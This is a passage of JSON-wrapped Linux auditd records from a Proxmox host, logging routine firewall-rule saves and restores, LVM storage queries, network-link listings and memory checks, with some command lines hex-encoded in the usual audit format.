type=PROCTITLE msg=audit(1781964245.055:60191): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964940.028:63298): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964244523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964244.523:60190): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964940.028:63297): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964244494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964244.494:60189): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964940026,"@rawstring":"node=pve type=EXECVE msg=audit(1781964940.026:63296): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.453:60188): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=EXECVE msg=audit(1781964936.190:63295): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.453:60187): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964936180,"@rawstring":"node=pve type=EXECVE msg=audit(1781964936.180:63292): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.453:60186): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.700:63289): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.443:60185): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935697,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.697:63288): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.443:60184): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.696:63287): argc=1 a0=\"date\""} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964243.443:60183): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.693:63285): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.433:60182): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935686,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.686:63284): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.433:60181): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935679,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.679:63283): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.433:60180): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935672,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.672:63282): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.421:60179): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935664,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.664:63281): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.421:60178): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935659,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.659:63279): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964238.421:60177): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964935654,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.654:63278): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964236046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.046:60176): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964935648,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.648:63277): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964236043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.043:60175): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964935642,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.642:63276): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964236041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.041:60174): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964935636,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.636:63275): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964236041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.041:60173): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964935631,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.631:63274): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964236037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.037:60172): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964935625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.625:63273): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964236030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.030:60171): proctitle=\"ip6tables-save\""} {"@timestamp":1781964935618,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.618:63272): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964236024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.024:60170): proctitle=\"iptables-save\""} {"@timestamp":1781964935614,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.614:63271): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964236017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.017:60169): proctitle=\"ip6tables-save\""} {"@timestamp":1781964935610,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.610:63270): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964236011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.011:60168): proctitle=\"iptables-save\""} {"@timestamp":1781964935608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.608:63269): argc=1 a0=\"date\""} {"@timestamp":1781964236008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.008:60167): proctitle=\"ebtables-restore\""} {"@timestamp":1781964935603,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.603:63267): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964236005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.005:60166): proctitle=\"ebtables-restore\""} {"@timestamp":1781964935597,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.597:63266): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964236001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964236.001:60165): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964935590,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.590:63265): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964235996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.996:60164): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964935585,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.585:63264): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964235990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.990:60163): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964935579,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.579:63263): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964235984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.984:60162): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964935571,"@rawstring":"node=pve type=EXECVE msg=audit(1781964935.571:63262): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964235980,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.980:60161): proctitle=697073657400726573746F7265"} {"@timestamp":1781964934385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964934.385:63261): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964235973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.973:60160): proctitle=\"ip6tables-save\""} {"@timestamp":1781964934351,"@rawstring":"node=pve type=EXECVE msg=audit(1781964934.351:63260): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964235966,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.966:60159): proctitle=\"iptables-save\""} {"@timestamp":1781964931175,"@rawstring":"node=pve type=EXECVE msg=audit(1781964931.175:63259): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.963:60158): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=EXECVE msg=audit(1781964931.169:63256): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.960:60157): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964926160,"@rawstring":"node=pve type=EXECVE msg=audit(1781964926.160:63253): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.958:60156): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964926152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964926.152:63250): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.958:60155): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925561,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.561:63247): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964235955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.955:60154): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.558:63246): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964235948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.948:60153): proctitle=\"ip6tables-save\""} {"@timestamp":1781964925558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.558:63245): argc=1 a0=\"date\""} {"@timestamp":1781964235941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.941:60152): proctitle=\"iptables-save\""} {"@timestamp":1781964925554,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.554:63243): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964235936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.936:60151): proctitle=69707365740073617665"} {"@timestamp":1781964925547,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.547:63242): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964235930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.930:60150): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964925541,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.541:63241): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964235923,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964235.923:60149): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964925535,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.535:63240): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964234430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964234.430:60148): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964925528,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.528:63239): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964234395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964234.395:60147): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964925522,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.522:63237): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.416:60146): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.517:63236): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.416:60145): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925511,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.511:63235): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.416:60144): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925506,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.506:63234): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.407:60143): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925500,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.500:63233): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.407:60142): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925495,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.495:63232): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964233.407:60141): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.488:63231): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.394:60140): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925481,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.481:63230): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.394:60139): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.478:63229): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.394:60138): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925474,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.474:63228): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.385:60137): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.473:63227): argc=1 a0=\"date\""} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.385:60136): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.469:63225): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964228.385:60135): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925463,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.463:63224): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.910:60134): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964925456,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.456:63223): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225907,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.907:60133): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964925451,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.451:63222): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964225905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.905:60132): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925445,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.445:63221): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964225905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.905:60131): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964925.438:63220): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964225901,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.901:60130): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964924278,"@rawstring":"node=pve type=EXECVE msg=audit(1781964924.278:63219): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964225895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.895:60129): proctitle=\"ip6tables-save\""} {"@timestamp":1781964924251,"@rawstring":"node=pve type=EXECVE msg=audit(1781964924.251:63218): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964225889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.889:60128): proctitle=\"iptables-save\""} {"@timestamp":1781964921141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964921.141:63217): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.881:60127): proctitle=\"ip6tables-save\""} {"@timestamp":1781964921135,"@rawstring":"node=pve type=EXECVE msg=audit(1781964921.135:63214): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.875:60126): proctitle=\"iptables-save\""} {"@timestamp":1781964916120,"@rawstring":"node=pve type=EXECVE msg=audit(1781964916.120:63211): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.871:60125): proctitle=\"ebtables-restore\""} {"@timestamp":1781964916102,"@rawstring":"node=pve type=EXECVE msg=audit(1781964916.102:63208): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964225869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.869:60124): proctitle=\"ebtables-restore\""} {"@timestamp":1781964915427,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.427:63205): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964225864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.864:60123): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964915424,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.424:63204): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964225859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.859:60122): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964915423,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.423:63203): argc=1 a0=\"date\""} {"@timestamp":1781964225854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.854:60121): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964915419,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.419:63201): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964225848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.848:60120): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964915413,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.413:63200): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.843:60119): proctitle=697073657400726573746F7265"} {"@timestamp":1781964915407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.407:63199): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.836:60118): proctitle=\"ip6tables-save\""} {"@timestamp":1781964915401,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.401:63198): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.830:60117): proctitle=\"iptables-save\""} {"@timestamp":1781964915394,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.394:63197): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225826,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.826:60116): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964915388,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.388:63195): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964225823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.823:60115): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964915383,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.383:63194): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964225821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.821:60114): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915378,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.378:63193): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964225821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.821:60113): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915372,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.372:63192): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964225818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.818:60112): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964915367,"@rawstring":"node=pve 